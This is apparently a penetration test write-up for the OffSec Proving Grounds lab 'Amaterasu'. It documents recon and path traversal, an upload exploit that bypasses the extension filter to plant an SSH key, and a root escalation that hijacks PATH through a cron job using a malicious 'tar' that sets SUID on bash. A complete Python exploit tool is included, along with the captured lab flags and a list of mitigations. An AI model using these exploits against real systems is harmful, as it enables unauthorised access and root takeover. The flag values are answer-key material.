OFFSEC PROVING GROUNDS

Amaterasu

OffSec Proving Grounds — Penetration Test Report

TARGET	`192.168.160.249`	RESULT	**ROOT**
AUTHOR	V. B.	DATE	14 October 2026
LAB TIME	2h 3m	FLAGS	User + Root captured

Scope & authorization. This report documents an authorized exercise against an OffSec Proving Grounds training lab. All activity was confined to that instance. Flag values, IP address and the generated keypair are instance-specific and reset on each lab restart. No private key material is reproduced in this report.

Flags

Flag	Value
User (`/home/alfredo/local.txt`)	`ad1991147296f49ca95f564230f92558`
Root (`/root/proof.txt`)	`fc390da92dd68aef32f02437de9af0d1`

Phase 1 — Recon

Full-port scan with service/version detection

```
nmap -p- -sV -T4 192.168.160.249
```

Output (trimmed):

```
PORT      STATE  SERVICE  VERSION
21/tcp    open   ftp      vsftpd 3.0.3
25022/tcp open   ssh      OpenSSH 8.6 (protocol 2.0)
33414/tcp open   http     Werkzeug httpd 2.2.3 (Python 3.9.13)
40080/tcp open   http     Apache httpd 2.4.53 ((Fedora))
Service Info: OS: Unix
```

Read: - `33414` Werkzeug/Python = the "custom REST API" from the briefing → primary target. - `25022` SSH = landing port once we have a key (non-standard port). - `21` vsftpd, `40080` Apache = secondary surfaces to check.

Phase 2 — Enumeration

2a. Anonymous FTP (quick win check)

```
ftp 192.168.160.249
# Name: anonymous
# Password: (blank)
```

Output:

```
220 (vsFTPd 3.0.3)
331 Please specify the password.
230 Login successful.
```

Anonymous login allowed. (Directory listing blocked by passive/active data-connection issue over the VPN — not pursued further; the API path was richer.)

2b. REST API root

```
curl -s http://192.168.160.249:33414/
```

```
404 Not Found
```

Expected for a Flask API with no root route → enumerate endpoints.

2c. Endpoint discovery (feroxbuster)

```
feroxbuster -u http://192.168.160.249:33414 -w /usr/share/seclists/Discovery/Web-Content/common.txt
```

Output:

```
200  GET  http://192.168.160.249:33414/help
200  GET  http://192.168.160.249:33414/info
```

2d. API self-documentation

```
curl -s http://192.168.160.249:33414/help
```

```
["GET /info : General Info","GET /help : This listing","GET /file-list?dir=/tmp : List of the files","POST /file-upload : Upload files"]
```

```
curl -s http://192.168.160.249:33414/info
```

```
["Python File Server REST API v2.5","Author: Alfredo Moroder","GET /help = List of the commands"]
```

Four endpoints confirmed: `/info`, `/help`, `/file-list`, `/file-upload`.

2e. Path traversal on /file-list

```
curl -s "http://192.168.160.249:33414/file-list?dir=."
```

```
["boot","dev","proc","run","sys","tmp","etc","root","var","usr","bin","sbin","lib","lib64","home","media","mnt","opt","srv",".autorelabel"]
```

`dir=` is unrestricted → lists the **root filesystem**. Walk toward a user.

```
curl -s "http://192.168.160.249:33414/file-list?dir=/home"
```

```
["alfredo"]
```

```
curl -s "http://192.168.160.249:33414/file-list?dir=/home/alfredo"
```

```
[".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]
```

```
curl -s "http://192.168.160.249:33414/file-list?dir=/home/alfredo/.ssh"
```

```
["id_rsa","id_rsa.pub"]
```

Found: user `alfredo`, user flag `local.txt`, the API source dir `restapi`, and an existing `.ssh` directory.

2f. Probe /file-upload

```
curl -s http://192.168.160.249:33414/file-upload                # GET
# 405 Method Not Allowed

curl -sI -X OPTIONS http://192.168.160.249:33414/file-upload
# Allow: OPTIONS, POST

curl -s -X POST http://192.168.160.249:33414/file-upload        # empty POST
# {"message":"No file part in the request"}
```

Upload is `POST`, expects a file part.

Phase 3 — Foothold (file-upload → SSH key injection)

3a. Generate an SSH keypair

```
ssh-keygen -f amaterasu -N ""
```

```
Generating public/private ed25519 key pair.
Your identification has been saved in amaterasu
Your public key has been saved in amaterasu.pub
```

3b. Build a reusable Python tool (stage by stage)

The upload behaviour was reverse-engineered by reading each response. Tool built incrementally.

Stage 1 — directory-list function (verify scaffolding)

```
import requests

BASE = "http://192.168.160.249:33414"

def list_dir(path):
    r = requests.get(f"{BASE}/file-list", params={"dir": path})
    return r.status_code, r.text

if __name__ == "__main__":
    code, body = list_dir("/home/alfredo")
    print(f"Status: {code}")
    print(f"Body: {body}")
```

Run / output:

```
Status: 200
Body: [".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]
```

Stage 2 — add upload function; parse JSON in list_dir

```
import requests

BASE = "http://192.168.160.249:33414"

def list_dir(path):
    r = requests.get(f"{BASE}/file-list", params={"dir": path})
    return r.json()

def upload(local_file, remote_name):
    with open(local_file, "rb") as f:
        r = requests.post(f"{BASE}/file-upload",
                          files={"file": (remote_name, f)})
    return r.status_code, r.text

if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "probe.txt")
    print(f"Status: {code}")
    print(f"Body: {body}")
```

Run / output — revealed the hidden required field:

```
Status: 400
Body: {"message":"No filename part in the request"}
```

> Key insight: the API reads the destination from a **separate** `filename` **form field**, NOT from the multipart file part's name.

Stage 3 — add the `filename` form field

```
def upload(local_file, remote_name):
    with open(local_file, "rb") as f:
        r = requests.post(f"{BASE}/file-upload",
                          files={"file": (remote_name, f)},
                          data={"filename": remote_name})
    return r.status_code, r.text
```

Test block:

```
if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "probe.txt")
    print(f"Status: {code}")
    print(f"Body: {body}")
    print(list_dir("/tmp"))
```

Run / output — upload works, base dir identified:

```
Status: 201
Body: {"message":"File successfully uploaded"}

['probe.txt', 'flask.tar.gz', 'systemd-private-...', ...]
```

> Key insight: uploads land in `/tmp`. So traversal from `/tmp` to alfredo's home is `../home/alfredo/...`.

Stage 4 — point filename at authorized_keys (hit the extension filter)

```
if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "../home/alfredo/.ssh/authorized_keys")
    print(f"Status: {code}")
    print(f"Body: {body}")
    print(list_dir("/home/alfredo/.ssh"))
```

Run / output — extension filter blocks it:

```
Status: 400
Body: {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}

['id_rsa', 'id_rsa.pub']
```

> Key insight: the filter checks the **file part's** extension, while the `filename` **field** controls the write path. Give the file part an allowed extension to bypass.

Stage 5 — FINAL: extension-filter bypass

```
import requests

BASE = "http://192.168.160.249:33414"

def list_dir(path):
    r = requests.get(f"{BASE}/file-list", params={"dir": path})
    return r.json()

def upload(local_file, remote_name):
    with open(local_file, "rb") as f:
        r = requests.post(f"{BASE}/file-upload",
                          files={"file": ("payload.txt", f)},   # allowed ext → passes filter
                          data={"filename": remote_name})       # traversal path → controls write
    return r.status_code, r.text

if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "../home/alfredo/.ssh/authorized_keys")
    print(f"Status: {code}")
    print(f"Body: {body}")
    print(list_dir("/home/alfredo/.ssh"))
```

Run / output — key planted:

```
Status: 201
Body: {"message":"File successfully uploaded"}

['id_rsa', 'id_rsa.pub', 'authorized_keys']
```

3c. SSH in as alfredo

```
ssh -i amaterasu alfredo@192.168.160.249 -p 25022
```

```
[alfredo@fedora ~]$ cat local.txt
ad1991147296f49ca95f564230f92558
```

USER FLAG: `ad1991147296f49ca95f564230f92558`

> Note: the box resets on restart, so `authorized_keys` is wiped. Re-running `python3 amaterasu.py` re-plants it in one step.

Phase 4 — Privilege Escalation (PATH hijack via root cron)

4a. Enumerate cron

```
cat /etc/crontab
```

```
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
...
*/1 * * * * root /usr/local/bin/backup-flask.sh
```

Runs **as root, every minute**.

4b. Read the cron script

```
cat /usr/local/bin/backup-flask.sh
```

```
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
```

```
ls -la /usr/local/bin/backup-flask.sh
# -rwxr-xr-x. 1 root root 106 Mar 28  2023   (root-owned, not writable)

ls -la ~/restapi
# drwxr-xr-x. 3 alfredo alfredo ...           (WRITABLE by us)
```

Vulnerability: the script prepends a **user-writable** dir (`/home/alfredo/restapi`) to root's `PATH`, then calls `tar` **by relative name**. We place our own `tar` there; root runs it first. (PATH hijack — MITRE ATT&CK T1574. The `--checkpoint` wildcard trick is reportedly unreliable on this box, so PATH hijack is the chosen path.)

4c. Plant malicious `tar`

```
echo '#!/bin/bash' > ~/restapi/tar
echo 'chmod u+s /bin/bash' >> ~/restapi/tar
chmod +x ~/restapi/tar

cat ~/restapi/tar
# #!/bin/bash
# chmod u+s /bin/bash

ls -la ~/restapi/tar
# -rwxr-xr-x 1 alfredo alfredo 32 Oct 14 10:14 /home/alfredo/restapi/tar
```

4d. Wait for cron (≤60s), confirm SUID bash

```
ls -la /bin/bash
# -rwsr-xr-x. 1 root root 1390080 Jan 25  2021 /bin/bash   ← note the 's'
```

4e. Root shell + flag

```
bash -p
id
# uid=1000(alfredo) gid=1000(alfredo) euid=0(root) groups=1000(alfredo)

cat /root/proof.txt
# fc390da92dd68aef32f02437de9af0d1
```

ROOT FLAG: `fc390da92dd68aef32f02437de9af0d1`

Summary of techniques

Stage	Technique	Root cause
Enum	Path traversal in `dir=` param	Unvalidated user input used as filesystem path (CWE-22/73)
Foothold	File-upload → SSH key injection	Destination path from user input + extension-only check (CWE-434/646)
Filter bypass	File-part name vs `filename` field mismatch	Validation and destination read from different inputs
Privesc	PATH hijack of relative `tar` in root cron	Writable dir prepended to root's PATH; relative binary call (T1574)

Mitigations

- **Upload:** sanitize with `secure_filename()`; resolve + containment-check the final path; validate type by content; store outside home dirs; run service least-privilege.
- **Traversal:** never use raw user input in filesystem paths; canonicalize and confirm within an allowed root.
- **Cron/PATH:** use absolute binary paths in scripts; set an explicit safe `PATH`; never prepend user-writable dirs; run backup jobs as a dedicated unprivileged account; avoid bare `*` globs over writable dirs (`-- *`, `./*`, or `find -print0 | tar -T -`).

Reusable tooling note

`amaterasu.py` is a template for any Flask file-upload box. Next improvement: replace the hardcoded `BASE` with an `argparse` `--target` flag so the IP never needs hand-editing.

Appendix A — Exploit Tool (amaterasu.py)

Reusable Python tool written during the engagement to enumerate the file-list endpoint and perform the upload / SSH-key injection. Final version shown; built incrementally (see Phase 3).

```
import requests

BASE = "http://192.168.160.249:33414"

def list_dir(path):
    r = requests.get(f"{BASE}/file-list", params={"dir": path})
    return r.json()

def upload(local_file, remote_name):
    with open(local_file, "rb") as f:
        r = requests.post(f"{BASE}/file-upload",
                          files={"file": ("payload.txt", f)},   # allowed ext -> passes filter
                          data={"filename": remote_name})       # traversal path -> controls write
    return r.status_code, r.text

if __name__ == "__main__":
    code, body = upload("amaterasu.pub", "../home/alfredo/.ssh/authorized_keys")
    print(f"Status: {code}")
    print(f"Body: {body}")
    print(list_dir("/home/alfredo/.ssh"))
```

Appendix B — Engagement Proof (Terminal Transcripts)

Key proof output from the live engagement. Original captures were screenshots; the terminal text is transcribed here (screenshots omitted for privacy).

B.1 — SSH foothold as alfredo + user flag

```
[alfredo@fedora ~]$ cat local.txt
ad1991147296f49ca95f564230f92558
```

B.2 — Malicious 'tar' planted in PATH-hijacked directory

```
[alfredo@fedora ~]$ cd ~/restapi
[alfredo@fedora restapi]$ echo '#!/bin/bash' > ~/restapi/tar
[alfredo@fedora restapi]$ echo 'chmod u+s /bin/bash' >> ~/restapi/tar
[alfredo@fedora restapi]$ chmod +x ~/restapi/tar
[alfredo@fedora restapi]$ cat ~/restapi/tar
#!/bin/bash
chmod u+s /bin/bash
[alfredo@fedora restapi]$ ls -la ~/restapi/tar
-rwxr-xr-x 1 alfredo alfredo 32 Oct 14 10:14 /home/alfredo/restapi/tar
```

B.3 — Root cron fires: /bin/bash gains SUID bit

```
[alfredo@fedora restapi]$ ls -la /bin/bash
-rwsr-xr-x. 1 root root 1390080 Jan 25  2021 /bin/bash
```

B.4 — Root shell + root flag (PROOF)

```
[alfredo@fedora restapi]$ bash -p
bash-5.1# id
uid=1000(alfredo) gid=1000(alfredo) euid=0(root) groups=1000(alfredo)
bash-5.1# cat /root/proof.txt
fc390da92dd68aef32f02437de9af0d1
```